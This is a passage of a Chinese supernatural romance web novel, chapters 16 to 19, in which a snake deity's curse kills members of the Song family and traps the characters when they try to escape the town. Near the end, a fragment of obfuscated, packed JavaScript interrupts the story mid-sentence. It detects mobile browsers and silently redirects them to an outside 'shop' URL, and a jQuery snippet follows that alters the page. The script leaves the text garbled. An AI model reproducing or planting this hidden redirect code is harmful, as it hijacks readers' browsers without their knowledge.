一个猴一个拴法,宋衍之就是爱被虐,给他大哥戴绿帽像给他戴似得,自己恨海情天上了。 她被放进了宋衍之的副驾里,后排坐着的宋文友叫了一声:“秀秀你还好吗?”探身要来要看她。 宋衍之的枪就顶在他脑袋上把他按了回去:“坐好宋文友,她好不好跟你没关系。” 宋文友不想再起争执,只说了一句:“先带她去镇上的大医院。” “用不着你教我我做事!”宋衍之气的声音很大,坐进驾驶座,关车门更是剧烈。 林素被震的皱了皱眉:“宋衍之你好吵啊。” 宋衍之脸就更黑了,轰鸣的发动车子,把车子飙出雨地恨恨的低声说了一句:“我做什么你都看不惯。” 但林素没听见,她扭头看向车外。 车厢里一片死寂,宋文友在看林素,而宋衍之透过车镜在监视着宋文友。 路过亲随军的时候,林素冷不丁问:“宋显祖为什么没来?” 宋衍之的火气顿时堵了一下,还没想好怎么为大哥辩解。 林素就扭过头来看着他问:“我是他的妻子?还是你跟宋文友的?” 宋衍之被问的心头发沉。 后排的宋文友突然冷不丁问:“秀秀,你愿意和离吗?” 16.第 16 章 宋文友疯了! 宋衍之一路压着怒火开到医院,把林素抱进诊室里检查,他拽住贴上去的宋文友将他拽出诊室,推进公共卫生间里。 “砰”的踢上门,低声怒问:“你是不是脑子被打坏了!你难道还要怂恿林秀跟大哥离婚然后娶她吗?!” “是又怎么样!”宋文友忍了那么多拳头和怒骂,再也忍不住的怒吼道:“我喜欢林秀,如果她愿意离婚,我追求她、迎娶她犯法吗?” “她是大哥的妻子!你在撬你亲大哥的墙角!”宋衍之拳头都握紧了。 宋文友却用比他更理直气壮的语气愤怒质问:“你觉得大哥爱她吗?尊重她吗?她嫁给大哥有过过一天好日子吗?她被逼着借种、被宋家那些叔伯们指责大哥连一句话都不敢替她说!现在她伤成这样,大哥呢?她的丈夫去哪儿了!” 宋衍之被他这样一连串的质问气懵了,他像看陌生人一样看宋文友,这还是那个从小到大最听话、最粘大哥的书呆子二哥吗? “你怎么能说出这么狼心狗肺的话?那是我们的大哥……”宋衍之的怒火变成了说不清的难过,难过一起长大的宋文友为了林秀要和他们反目,也难过宋文友字字句句说的都对。 从给他们下药开始,大哥就打定了主意要“借种”。 哪怕宋太爷绑走了林秀,大哥也懦弱的不敢跟着他去救林秀。 大哥喜欢林秀吗?是喜欢的吧,大哥愿意为林秀铺床叠被,扇耳光也不在意。 可大哥尊重林秀吗?没有,没有一点把她当做人来尊重,但凡有一点尊重,怎么会容忍“借种”这种侮辱人的事发生? 宋文友看见了宋衍之眼眶里的眼泪,他愣了住,所有慷慨激昂的话语哽在胸口变成了石头坠回心底,是啊,那是他们的大哥,他和三弟能走出这个镇子,做自己想做的事情是因为大哥在供养他们,他的学费从来没缺过,就算想自费出国,大哥也二话没说就给了全部费用,一遍一遍嘱咐他别舍不得用…… “大哥是对不起林秀,但大哥没有对不起你和我。”宋衍之一字字和他,也和自己说:“林秀过不下可以和离、可以跟任何男人跑了,但唯独你不能背叛大哥跟她在一起。” 宋文友心头一梗,几乎下意识就要说:如果大哥他愿意成全他和林秀呢? 背后的敲门声打断了他要脱口的话。 外面传来那位副将的声音:“统帅,护士着急找您,说出事了。” 两个人心都是一沉,立刻拉开了卫生间的门。 “是林秀出事了?” “秀秀怎么了?” 两个人几乎同事问出口。 副将表情难言的看着宋衍之,统帅未免对林秀夫人关心太过头了。 但他不敢讲,只是汇报说:“不是秀夫人出事了,是宋家那边出事了,您快去急诊看看吧。” ※ 林素走到急诊大厅就闻到了浓郁的腥臭味,不只是血的气味,还混杂着粪便和人体腐烂的气味。 她嫌恶心没进去,捂着口鼻就在门口往里看,看见担架抬进来一具具尸体,摆在大厅的地上,全是熟人,从宋开泰到族长的儿子,那天晚上来宋家的老头儿们整整齐齐躺在地上。 护士和医生着急的穿梭在担架之间,一具具检查,越检查越心惊,因为没一个活着的。 林素大致数了数,十一具宋家人。 “宿主这全是今天在柳仙庙前的宋家人。”404心惊的汇报说:“他们应该被宋衍之的亲随军带回了宋家老宅才对,突然间全死了,应该是柳仙的诅咒,但这次居然杀了这么多人……怎么比上一局还可怕?发生了什么?” 林素扫见一名眼熟的亲随军,他面色惨白的坐在角落的长凳上,捂着手臂上流血的伤口,在等护士来包扎。 她从系统物品栏里拿了一块毛巾走过去,递给他说:“这是干净的,你先用毛巾绑紧伤口止血。” 亲随军抬头看见是林秀,慌忙站了起来:“秀夫人……” “你受伤了快坐下。”林素的手指搭在他肩膀上将他按回了椅子里,弯腰拉过他的手臂看见了长而深的伤口,是刀伤不是蛇咬的。 她用毛巾替他把伤口紧紧缠了住:“会有点疼,你忍一忍。” 她的黑发荡在肩前,垂落在亲随军的耳朵边。 亲随军根本不敢动,她手指又凉又软,离近了能闻到她身上淡淡的香气和药水味,他这才看见秀夫人脖子上贴着一块纱布,“您……您也受伤了?” “我的伤不碍事。”林素顺势就问:“你们这是怎么弄的啊?宋家叔伯怎么全死了?” 那语气里没有半点担心和同情,只有八卦的好奇。 但亲随军看着她那双明亮的眼,眼尾忽隐忽现的小红痣就又很想和她多说两句话,宋家这些老太爷们没少逼迫她,她不同情再正常不过了。 “他们突然就全发疯了。”他不自觉就老老实实和她说。 起先,他们按照统帅命令把宋开泰这群人带回老宅都好好的,这群老太爷还有心思在屋里大骂统帅,训斥宋显祖,他们把守在外面也没在意。 但渐渐的听不见骂声了,安静的诡异,等他们反应过来要进屋查看时就听见了宋显祖微弱的惨叫声。 推门进去,他们全吓傻了,正厅里以宋开泰为首的几个老人全吊在房梁上,肠子和粪便稀里糊涂的流了一地,三个年轻的宋家人就直愣愣的站在尸体下瞪着眼看着,一动不动。 直到听见他们的声音,那三个宋家人才齐刷刷扭过头,操起水果刀朝他们砍过来。 他们就跟行尸走肉一样,完全无视他们的枪,连中了几枪也没倒地,劈过来一刀就砍在了他的手臂上。 林素看见,亲随军讲着讲着脸色就白了,像是后怕一样又说:“真是见了鬼了,您知道等我们过去查看那些吊在房梁上死的老太爷们发现了什么吗?” “发现了什么?”林素好奇的问。 亲随军放轻声音,像是要吓唬她似得说:“我们发现吊死几位老太爷的是一条条活蛇!” 林素故意露出了害怕的神色:“怎么会这样啊?这是不是柳星的诅咒呀?真是太可怕了。” 这次演技有点假。 404正想吐槽,就见系 统后台的剧情界面徐徐往前推动——[已修复剧情:柳仙的诅咒]。 这是之前所有任务者没能进展到的剧情!宿主太靠谱了。 “我不是故意吓您。”亲随军更来劲的凑近她说:“我不是故意吓您,但更可怕的是宋家大爷他……” 可惜还没说完就被一声冷喝打断了。 “你在干什么?”宋衍之的声音冷飕飕插进来。 亲随军吓了一跳,抬头看见林素身后站着的宋衍之,马上后退一步敬礼道:“回统帅,我在回答秀夫人的问题!” 林素回头,看见黑着脸的宋衍之和想向她靠近的宋文友。 宋衍之目光带着莫名的火气看了她一眼,说了一句:“大嫂有什么想知道的可以直接来问我。” 林素也没客气直接问他:“我只是想知道,你大哥死了没?你知道吗?” 宋衍之的脸就更黑了,更让他恼火的是他没有想对林素发脾气,可是宋文友和那名亲随军全部下意识上前,维护林素。 “你对她发什么火?”宋文友这样说。 “统帅是属下是的错。”他的兵这样说。 宋衍之看着林素,几乎要冷笑出声,他的好大嫂真是勾人,只是站在那里什么也没做就让所有男人为他神魂颠倒,失了智。 他带着一种隐隐的惩罚,伸手抓住了林素的腕子,“大嫂既然关心自己丈夫的安危,就跟我一起去看看大哥吧。” 宿主这是关心丈夫的安危吗? 404惊叹男主的语言美化程度。 “你这是干什么!”宋文友马上来阻拦,低声说:“她会害怕的。” 宋衍之惊讶的看他一样,“她害怕?”真是笑掉大牙,二哥怎么会觉得大嫂是什么羞怯胆小的女人?她胆子大得很,要不然她这会儿早挣扎开一巴掌扇他脸上。 林素确实没挣扎,因为她很好奇宋显祖发生了多可怕的事情。 她任由宋衍之拉着快速穿过大厅,抬手捂住了口鼻,一连死了这么多老头,连空气都变得臭气熏天了。 倒是宋文友吓得不轻,一路上看见那些惨死的宋家人嘴唇都发白了,尤其听见护士在跟同来的亲随军确认:“你说他们全是被蛇吊死的?那这三个被你们开枪打死的人是怎么回事?” “他们全他爹的被附体了!我们不打死他们,就会被他们砍死。”亲随军捂着流血的脑袋愤愤回答。 这太诡异了,好好的人怎么会突然被蛇集体吊死?发疯? 宋文友不敢多想,抬头去看林素,看见她消瘦的身体几乎被宋衍之搂在怀里,像是怕她被来来往往的人撞到,他的手臂护在她身侧,他那哪里抓着她,分明是搂着她。 他脑子里无法不想:宋衍之真的对大嫂没有一点非分之想吗? 穿过大厅,三个人很快就冲到了检查室,宋衍之像个土匪一般直接世界撞开门拉着林素闯进了检查室。 护士看见他那一身军服也不敢拦,只说:“患者在检查,家属最好在外等。” 宋衍之一眼看见了躺在检查仪器上的宋显祖,他看起来像个即将临盆的“孕妇”。 17.第 17 章 好大的肚子。 林素惊奇的眨了眨眼,躺在检查仪器里的宋显祖光着上半身,消瘦的身体上肚子隆起的像怀胎十月,小山似得肚子把肚皮撑的发紫,甚至可以看见里面有什么东西正在缓慢的蠕动。 “大哥……”宋文友僵站在原地,血色一瞬褪去,他难以形容这一幕的诡异程度,大哥脸色已经像个死人,只喉咙里还发出微弱的喘息。 旁边站着的医生、护士全部脸色惨白,一言不发的盯着仪器上的检查结果。 宋衍之松开了林素,浑身僵冷的缓慢上前,问医生:“我大哥他这是怎么了?” 医生没有立刻说话,只是将仪器检查出来的一团黑色阴影给他看,擦了擦额头的汗水说:“你们想办法立刻带他去燕京检查吧,燕京有更好的仪器……我只能初步判断,他肚子里是一团会动的东西……” “什么叫会动的东西?”宋衍之接过检查结果,看见男人的骨架里顶着高高的肚子,那里面是一团团黑色的东西,这些东西……是活的。 “是蛇吧。”林素站在检查仪器旁,垂眼看着宋显祖一鼓一鼓的肚子,平静的说。 所有人齐齐看向她。 林素的手指轻轻点上宋显祖青紫的肚皮,里面本来缓慢蠕动的“东西”忽然速度变快,像是感应到什么搅动着朝她的手指靠近,随时要破开肚皮一样。 “啊!”宋显祖突然抱住肚子痛苦的惨叫起来,豆大的汗水从脸上滚下去。 “你在干什么?”宋衍之快步上前,一把抓住了林素的手。 谁知道林素的手指才离开,宋显祖的肚皮就顶起一个蛇头大的东西。 “啊——”宋显祖剧痛痉挛起来,猛然侧身张大嘴巴干呕了两下,一口黑色的血和什么东西一股脑的吐了出来。 那东西掉在地上就蜷缩着蠕动起来。 “啊!什么东西!” “蛇!” 是一条肉粉色的“蛇”,像被剥了皮的蛇,在黑血中蠕动着朝林素爬过去。 宋衍之抓住林素往后一拽,一脚踩在了蛇头上,血浆爆开,蛇尾挣扎了两下就不动了。 “秀秀!”宋文友上前扶住林素的双臂,把她护到安全区域:“你没事吧?” 宋衍之瞪了他一眼,好在他下一秒就松开了林素快步到大哥跟前,扶住了快要掉下床的大哥。 “真的是蛇!” “怎么会吐出蛇?”医生和护士吓的连连后退。 “大哥,大哥你听得见吗?”宋衍之将大哥半抱起来,看见他长着的嘴巴里全是黑色的血,心慌着急的抬头看医生:“医生救我大哥啊!” 医生脸上也没了血色,摇头说:“我治不了……这种怪病我、我治不了,你们快带去燕京的大医院!” “我大哥现在这个样子能撑到去燕京吗?”宋文友也出了一身的冷汗,不敢看宋显祖的肚子,强迫自己冷静下来问。 医生不敢打包票,他是无神主义者,但是这太怪了,他冷汗直冒的看向林素说:“不然……不然你们请个懂行的人看看?这位夫人刚才能看出来是蛇,你是不是知道这是什么?” 宋衍之和宋文友看向林素。 “不只我知道。”林素也笑着看他们俩:“你们也应该知道才是,这不就是柳仙的诅咒吗?” 两个人语塞一般僵在了原地,之前有多信誓旦旦不信,现在就有多如鲠在喉。 “宋衍之今天在柳仙庙前剥了蛇皮,紧接着宋家人被蛇吊死、被附体发疯,你大哥又成了这样。”林素抬下巴指了指宋显祖:“他吐出来的蛇难道不像被你剥了皮的蛇吗?” 404惊奇的看见剧情界面里,浮现出了宿主说的这些设定——[已修复设定:柳仙的惩罚——因果报应]。 它一时之间竟分不清是宿主误打误撞猜对了?还是崩坏世界里的剧情可以由“女主”补充、改写? “是你害了你大哥。”林素不留情面的说:“他从一开始就告诉你了,你不听啊。” 宋衍之抿紧的嘴唇一下子白了,这世上……怎么会真有柳仙?那大哥说那些柳仙的契约、借种……也都是真的了?他这条命难道真是从柳仙那里换来的? “柳仙……是真的?”宋文友不可思议的看着林素,大脑一片混乱,这么多年形成的世界观在崩塌,病急乱投医的问林素:“那有什么办法能救大哥吗?” 林素看着他们二人,毫不避讳的说:“借种。” 宋衍之嘴唇抿的更紧了。 借种二字让整个检查室静下来,就算不知道宋家和柳仙的契约也听得懂这两个字的含义,医生、护士的目光在两兄弟之间偷偷来回。 而宋文友攥了一下手指,像是鼓起所有勇气说:“借种真能救大哥吗?” “不可能!”宋衍之的声音刀子一样斩断宋文友的话,他盯向宋文友眼神要杀人一样,一字字说:“宋文友,你不是海外留学的高材生吗?你的科学、真理呢?” 宋文友同样盯着他,唇色苍白的说:“我也不想信,可是大哥快死了。” 宋衍之没有再说话,抓起旁边的病号服替宋显祖裹上,下令道:“备车!先去最近的省会大医院。”他把宋显祖抱起来,快步往外走又下令:“程军去联系省会的军用飞机,我要调用去燕京。” 副将程军在门口立刻应是离开。 宋文友被宋衍之重重撞开,反应过来,是了,可以先去最近的省会医院,再从那个借用军用飞机去燕京。 “有得是办法可以救大哥。”宋衍之在门口停下回头看宋文友:“宋文友你是真的想救大哥,还是为了自己的私·欲?” 宋文友嘴唇发麻,一句辩解的话也说不出口。 “大嫂。”宋衍之忽然郑重了叫了一声林素:“我希望你陪在大哥身边。”哪怕是送他最后一程。 可林素却抬抬眼皮说:“我不去,我太累了要回家休息。” 宋衍之一颗心都凉了,这个女人没有一点感情吗?哪怕她不爱大哥,可她的丈夫就要死了,她连最后一段路也不 愿意陪陪他吗? “你要回宋家老宅?”宋文友忙看向她说:“不行,老宅现在太危险了,那么多宋家人才死在老宅里,你回去不安全。”他走向她,“一起去燕京吧秀秀。” 他很想告诉她,燕京很大很文明,女人可以拥有和男人一样的机会,她可以读书也可以找份工作,哪怕……哪怕不和他在一起,也一起走出这个封建的小镇,去燕京吧。 可这些话他不能当着大哥、当着宋衍之的面说,大哥已经成这样了,他不能在这个时候再告诉大哥,他喜欢上了大嫂,那和畜生有什么分别? 所以他说:“秀秀,燕京很好,你会喜欢燕京的。” 宋衍之难得没有打断宋文友近乎暧昧的话,他也在看着林素,哪怕心里恼火她对大哥的冷漠,但宋家老宅也不能再回了,那个地方太邪门了,回去一定会发生事情,于情于理他都希望林素跟他们一起去燕京。 可林素只是很轻的一笑,抬手替宋文友理了理碎发,他的眼镜早就掉了,露出一双脆弱又天真的眼睛,“去不了的。” 她语气平淡至极,“我去不了,你们也去不了。” 窗外“轰隆——”一声巨雷炸响,乌云密实的完全遮住了闪电。 所有人惊的朝窗外看出去,暴雨如瀑,要将整座小镇淹没一般,黑压压的阴云中暗金色的光在窜动,像一条盘旋的巨蟒。 “秀秀——!”被宋衍之抱着的宋显祖突然双手双腿伸直,剧烈抽搐着喊叫起来:“秀秀救我!救我!” “大哥你怎么了?!”宋衍之险些抱不稳他,低头看见他隆起的肚皮下一个个蛇头似得东西在不安鼓胀着,朝着林素的方向不停钻拱,宛如要钻出他的肚皮,他的脸色惨白如纸。 宋显祖扭过头直勾勾的盯向林素,瞳孔上像蒙了一层白膜,双手痛苦的朝林素伸:“秀秀——回来!回来!回老宅秀秀!回去!” 宋文友和宋衍之都被这诡异的一幕震到一脸冷汗。 闪电划过窗户,照亮窗下林素的脸,那张清秀的脸上依旧没有一丝惊恐的表情,她就那么静静看着狰狞的宋显祖,静静说:“谁也逃不了,宋衍之。” 宋衍之盯着她,像被一股未知的恐惧攥住了喉咙,抗争的一字字说:“我不信,我不信人能被鬼困住!条条大路都可以离开!” 林素抬眼看住他,那张冷汗淋漓的脸上仍保持着愤怒和不屈,好的很,她要的就是这样的愤恨,这样永不屈从的怒意。 她轻轻叹了一口气,走向了宋衍之,用从未对他展现过的温柔语气说:“既然你要试,那我就陪你试试。” 宋衍之愣在原地,望着她那张脸,心里轰然而起的是巨大的震动,她明明不愿意陪大哥去治病,不愿意和宋文友去燕京,却愿意陪他逃离…… 为什么? “宿主……”404震惊:“男主的攻略值涨到了百分之四十!” 一句话就暴涨百分之二十! 几步之外,宋文友皱紧眉头看着她与自己的三弟。 18.第 18 章 暴雨之下,整个城镇漆黑一片,就连路灯也断电了。 宋衍之迅速把痛苦的宋显祖抱进了车里,塞给后排坐着的宋文友,让他照顾大哥,又转身想去为林素撑伞,回头就看见他的亲随军正哈巴狗似得给林素撑着伞,扶她上车。 看着眼熟,正是方才和林素答话的那小子,是他副将程军的弟弟。 宋衍之黑着脸拉开车门,让林素坐在副驾,不悦的朝程军看了一眼。 程军心领神会的过来一脚踹开他弟弟,低喝道:“显着你了?滚去前车开路!”什么殷勤都敢羡!那是统帅的大嫂,连统帅自己都克制着! 宋衍之关上车门,朝前面两辆军用车看过去,下令说:“所有亲随军上车,前面开路,没有我的命令不许停下来,今天天塌了也要给我开出江城!” “是!统帅!”所有亲随军应是上车。 宋衍之最后上车,坐进驾驶位发动车子,看着前面的军用车一辆一辆亮起车灯,用尽可能轻松的语气对副驾的林素说:“开去省城最多四个小时,天不亮我们就能到了,你能赶上吃一顿宵夜。” 林素没说话。 404心里没底的问她:“宿主您真的打算帮男主逃离宋家吗?但原剧情是结局男女主才一起离开江城的,整个故事就是发生在被柳仙控制的江城,你们离开后不知道剧情会不会崩塌……当然我不是怀疑您的能力和判断!” “他逃不了。”林素再次笃定的告诉系统:“如果这个世界里[蛇胎]是我知道的那种东西,那身为蛇胎的宋衍之想脱离柳仙,只有他死,或反噬柳仙。” 404就更心虚了:“蛇胎是什么呀?我有在数据库里查到一点关于蛇胎的信息,蛇胎是指柳仙的分、身,对吗?” “你是在惊悚档案里查到的吧?”林素闭目养神说:“那是我打的补丁,应该还有比较详细的注解,蛇有两个生·殖·器……” “快停下来,再说就过尺度线了。”404慌忙打断,“我有看到注解,我深刻的明白您那段注解的意思。” 意思就是蛇胎是柳仙的欲·望分、身寄生,就是用来繁衍新的身体。 林素笑了笑,“如果是这样的话,衍之这个名字倒是起的很合适,你等我解锁蛇胎的剧情吧。” 404反应过来,宿主跟着宋衍之逃离是为了解锁这段剧情?咋解锁啊? 它没敢问,怕宿主觉得它蠢。 车子轰隆的驶出小路,天地间只有轰隆的雨,车厢里充斥着消毒水的气味、林素的气味和莫名的腥气,这股腥气从宋显祖身上散发而出,那是蛇的气味。 宋文友抱着浑身冰冷的宋显祖,根本不敢往下看,因为他知道隆起的肚皮下一团团条状物没有停止蠕动过。 前排两辆军用车轰隆着冲进雨夜里。 宋衍之紧随其后,闪电在头顶的乌云里隐隐作响,他一言不发的往前开,今天无论如何也要离开这个鬼地方。 一路上没有人说话,只有后排神志不清的宋显祖时不时发出“咯咯”咬牙的声音。 眼看着就要开上大路,离开城镇区域,宋衍之的军用对讲机突然传出了“刺啦”的声音,他立刻看向它,里面传出副将程军的声音。 “统帅,您那边车里有听见什么声音吗?”程军紧张的问。 宋衍之拉过对讲机问:“什么声音?” “就……这种声音,您听。”程军那边一阵抖动,紧接着传出更嘈杂的刺刺啦啦声。 宋衍之什么也听不清,正想凑到耳边就听见刺啦声中传出一声:“回去秀秀!” 林素睁开了眼。 车座后排的宋显祖突然睁开眼,嘶哑的喊叫:“秀秀回老宅!” 宋文友吓得脸色惨白,慌忙按住他,惊恐的盯着对讲机:“怎么会是……大哥的声音?” 宋衍之头皮也麻了,立刻问对讲机那边的程军:“前面两辆车都听到了这种声音?从哪里传出来的?” 可对讲机却“滴”一声,没了任何声音,就像是突然断开了连接。 “程军?”宋衍之慌忙要去检查对讲机,膝盖就被林素撞了一下。 “看前面。”林素语气依旧平静的说:“他们消失了。” 宋衍之猛地抬头看出去,只见暴雨之中起了巨大的雾气,原本行驶在前方的两辆军用车消失了。 车前灯穿过雾气只有黑茫茫一片雨,没有军用车,也没有那条大路了。 “怎么可能没了?!”宋文友探身往前不可置信的盯着前面,“是我们开岔了路?还是他们……出事了?” 宋衍之脊背瞬间没了温度,冷汗淋漓而下,他握着对讲机的手指发麻,不敢去想他两辆车的人去了哪里?怎么能凭空消失了? 他的脚还踩在油门上,车子还在前行,可眼前除了黑茫茫的雾气什么都消失了,他一度怀疑车子在原地没有动。 手里对讲机再次“刺啦”响起来,里面竟传来敲锣打鼓的迎亲喜乐声。 这声音在车厢里诡异至极,宋文友腿上躺着的宋显祖嘴巴里跟着发出“咯咯”的咬牙声音,他吓得哑着声音叫:“大哥不要吓我……大哥,大哥……” 宋衍之怒火攻心一把拽断了对讲机,所有的声音戛然而止。 “坐稳了!”他额头上满是冷汗,盯着前方将油门踩到底,冲出去!死也要冲出去! 引擎发出震耳欲聋的轰鸣声,车子撞进迷雾中不管不顾的向前,再向前—— 猛然间车子穿出迷雾,电闪雷鸣一下子消失,四周的暴雨都安静的小了很多,宋衍之隐隐约约看见前方有两团白光。 他像是看向希望一般,朝着白光狂飙过去,距离越来越近,雾气越来越淡,他在看清那两团白光后猛然踩住了刹车。 “怎么了?”宋文友额头撞在椅背上,怀里的宋显祖无声无息的睁开了眼睛,雾蒙蒙的一双眼睛盯着上方。 “到家了。”林素看着前方,叹息一样说。 车灯照亮下,前方的两团白光 摇摇晃晃,正是宋家老宅大门口悬挂的两盏白灯笼,惨白的灯笼上还写着[宋府]两个字。 她们开到了老宅门外。 车内死一般的寂静。 宋衍之盯着老宅熟悉的大门血涌到了脑门,明明是朝着相反的方向开,明明就快上大路离开江城了,这是鬼打墙吗?还是他们真的绕回了老宅? 宅门无声的拉开,一道身影穿红袄撑红伞从黑漆漆的宅子里走出来,朝他们靠近,抬起伞露出一张熟悉的脸,是小丫鬟桂香。 她黑洞洞的眼睛看着车子说:“老爷、夫人你们回来了,柳仙大人在等你们……” “开过去。”林素手指搭在宋衍之的膝盖上说:“只是鬼打墙而已,开过去就是路。” 宋衍之扭头看向林素,她那双眼平静的出奇,像是能包容万物、接纳一切,他的心和恐惧就那么静静的被她包裹进去,他忍不住握住她的手,分开她的手指和她手指相扣,紧紧牢牢的压在自己膝盖上,“好。” 他需要她的手,他需要她的温度,他需要她离他近一点,给他一点她的香气、体温……什么都可以。 突然之间他就没什么好怕的了,他宁愿和她一起死,也不愿意她被献祭给柳仙借种! 宋衍之盯紧前方,猛踩油门直接撞上了迎面而来的桂香,撞向老宅—— 眼前的一切像迷雾一样散开,统统消失了,前方又出现了黑漆漆的道路。 宋衍之激动的抓紧林素的手,“是那条离开江城的大路!”她说对了,她说的都对! 车窗外是宁静的夜色,没有雨,没有风。 “上了这条大道我们就可以离开这鬼地方了!”宋衍之心脏在猛烈跳动,他兴奋的身体也跟着鼓噪起来,攥在掌心里林素的手慢慢动了动,从他膝盖上一点点上移,移到令他一抖的地方。 他慌忙抓紧她的手扭头看她。 她却缩着肩膀靠在他肩上,瑟瑟发抖说:“我好冷啊,替我捂捂手吧,求你了。” 连声音也在抖,抖得他心慌意乱,理智知道不能这么做,大哥和二哥就在后排看着,他怎么能做这种事? 可她热热的手指轻轻握了他一下,他无法控制的跟着抖一下,又听见她仰起头挨着他的耳朵央求:“衍之,我求你都不行吗?他们看不见的。” 他本就鼓噪的身体着了火似得一下子烧进脑子里,烧的大脑一片空白,不管不顾的把她的手踹进了衣服里,贴着皮肤给她焐。 林素却不满足的手指又慢慢往下钻,钻的他脊背一阵阵发麻,僵着身体根本不敢回头看后排的大哥和宋文友…… 狭小的空间里仿佛空气都变得粘稠了。 宋衍之抓紧方向盘,呼吸都快乱了,理智清楚该阻止她乱动的手,可、可有团火已经把理智烧光了,忍不住扭头失焦的去看林素,她在坏笑着盯着他,眼尾的红色小痣勾魂摄魄,张开口吐出了一丁点的舌尖…… 他脑子一下子就空了,情不自禁的贴过去吻她—— 19.第 19 章 “宋衍之!你在干什么!”一拳头重重砸在他的脸颊上。 痛感让他猛地惊醒了过来,窗外狂风吹进来,他的脖子被后排的宋文友紧紧抓着,而眼前的林素哪里有什么坏笑,她依然坐在副驾平静的皱眉看着他,既没有靠在他肩头,也没有朝他吐出舌尖…… 是他紧紧抓着林素的手在往自己怀里伸……怎么回事?刚才那些……难道是他的幻觉? “你疯了吗!当着大哥的面轻薄秀秀!”宋文友气的发狂,他在后排清清楚楚的看见宋衍之突然发春似得抓住秀秀的手往他怀里又伸又摸,还要低下头去亲她,宋衍之打在他脸上的拳头算什么?义正言辞的斥责算什么?他不是口口声声警告他:“从今以后你再敢对大嫂有任何非分之想我一定杀了你。” 原来他这句话只是为了自己的一己私欲吗? “你有把她当大嫂吗!”宋文友呵斥他。 宋衍之如遭雷劈,慌忙松开了林素的手,冷汗淋漓而下,他、他在干什么! “你被柳仙的幻术魇住了。”林素出奇平静的收回手,看向车窗外说:“没有下雨,我们没有冲出去。” 两个人全都愣了住,窗外出奇的安静,没有雨,地上也没有积水,车子平稳的就像在原地踏步。 “宿主……柳仙该不会是想用春·梦,让宋衍之动摇逃离的心吧?”404难得聪明一次猜测到。 林素笑笑和它说:“你知道这类邪神有一个共同的缺陷吗?祂们总会低估了人的愤怒和恨意。” 宋衍之里的反向盘突然自己迅速转动起来,甩开了他的手,就连刹车也踩不动了。 安静的车窗外传来一阵敲锣打鼓的喜乐声,和刚才对讲机里一模一样。 林素扭头看见,黑茫茫的道路两侧眨眼间站满了人,各个穿着鲜艳的大红喜服,手里拿着唢呐、铜锣、红绸,吹吹打打的在护送着她们的车子向前行。 “迎亲队伍。”林素看不清他们的脸,也看不见他们移动的脚,只看见队伍前方摇摇晃晃飘荡着四只红色大灯笼。 这熟悉的味道,老套的灵异操作,这个柳仙很没有创意啊。 “男主脸都吓白了。”404也害怕的小声说。 “是幻觉。”宋衍之惨白着脸疯狂踩动油门,试图扭转方向盘,可车子根本无法控制。 后排的宋文友冷不丁惨叫一声:“大、大哥……!” 宋衍之回头就看见脸色灰白的宋显祖直挺挺的坐了起来,雾蒙蒙的眼睛死鱼眼一样盯着林素,喉咙里发出模糊的声音。 “秀秀,回去。” 外面“哐”一声锣响,一个尖利的声音喊叫:“吉时到——” 迎亲队伍齐刷刷停下来,齐刷刷看向车内的林素,目光生了根似得黏在她身上,一声声叫她:“秀秀,秀秀,秀秀……” 宋衍之再看向前方,红灯笼下正是白天他刚刚到过的柳仙庙。 而柳仙庙前站着一排面无表情的人,那些人是以宋太爷为首的宋家叔伯们,被吊死的人恭恭敬敬的站在庙宇前,垂手迎接着她们。 或者该说是迎接着——林素。 “我们……可能真的逃不掉了……”宋文友瘫坐在后排,魂不附体的看着眼前的一切,多年来他学到的科学、真理,在这一刻随着他的理智一起崩塌了:“柳仙不会放过我们,这是报应……” “放屁!那我消失的那么多兄弟算什么!”宋衍之瞋目裂眦,用力把住转动的方向盘,死也不肯屈服的怒声道:“扶好大哥!” 林素看向他,他眼里燃起滔天的怒火,她立刻对系统说:“监察他。” “好的宿主!”404积极应声。 下一秒宋衍之发狂的将车子撞向柳仙庙前,那一排宋家人,宋家人就是该死!柳仙也该死! 他这辈子最恨“柳仙”两个字,如果不是柳仙,他的母亲又怎么会死?大哥又怎么会变成这样? 他脑子里闪回过母亲疯疯癫癫的样子,从他记事起母亲就被关在院子里,他小时候偷偷钻进院子里想救她,但母亲死活不走,哭着说柳仙会责罚她,会责罚她的儿子。 他不信,烧了院门拉她母亲跑出来。 可她死都不愿意踏出宋家老宅,他被父亲抓住,被打的半个月下不了床,后来听说他母亲被宋家那些老东西们逼的自缢向柳仙谢罪了。 他发了疯要去看,挨了父亲重重一耳光,他到现在还记得父亲说:“你娘是为了保住你们兄弟三个才死的!如果她不死,柳仙大人就会把罪责怪在你们身上!” 他不明白,为什么宋家人、他的亲生父亲能为了一个莫须有的柳仙就逼死他娘! 要是真有柳仙就冲他来吧,他就算死也要剥了柳仙的皮再咽气! 车子“轰”的撞向挡路的宋太爷,血溅在车前玻璃上,可宋衍之却看见一张熟悉的脸撞在他的玻璃上。 不是宋太爷,是…… “程军?!”他眼睁睁看着自己撞的人变成了自己的副将程军,程军被撞的口吐鲜血滚了出去。 宋衍之的大脑“轰”一声炸开了,他几乎本能的推开车门要下去救人。 “别下去。”林素抓紧他的手。 可还是没来得及,他已经将车门推开一条缝隙,阴冷的风瞬间钻进车厢内,像泄洪一般更猛烈的灌进来,将四扇车门全部吹开。 宋文友慌忙抓住要被吹出去的宋显祖。 腥风中,柳仙庙消失、迎亲的队伍变成了一队穿军服的亲随军。 “意气用事的蠢货。”林素收回手,眼神冰冷的扫了宋衍之一眼。 宋衍之被那一眼扫的浑身冷透,可更令他血液倒流的是道路上站着的亲随军。 前方停着两辆军用车,军用车的正前方就是那条灯火通明的大路。 可现在,他的亲随军站在路旁,眼神空洞、木讷的像是被夺了舍,在他推开车门的刹那齐刷刷举起手里的枪,对准他们自己的太阳穴。 “你们干什么?所有人把枪放下!”宋衍之僵在车门边,撕心裂肺的怒喝。 没有任何人理会他,他的亲随军像被抽走灵魂的提线木偶,整齐一致的给枪上膛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522702|202155||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >同一时间,车厢原本断掉的对讲机里再次传来刺啦声,这次里面是一个陌生、冰冷的男人声音,不容置疑的说:“不要逃,秀秀。” 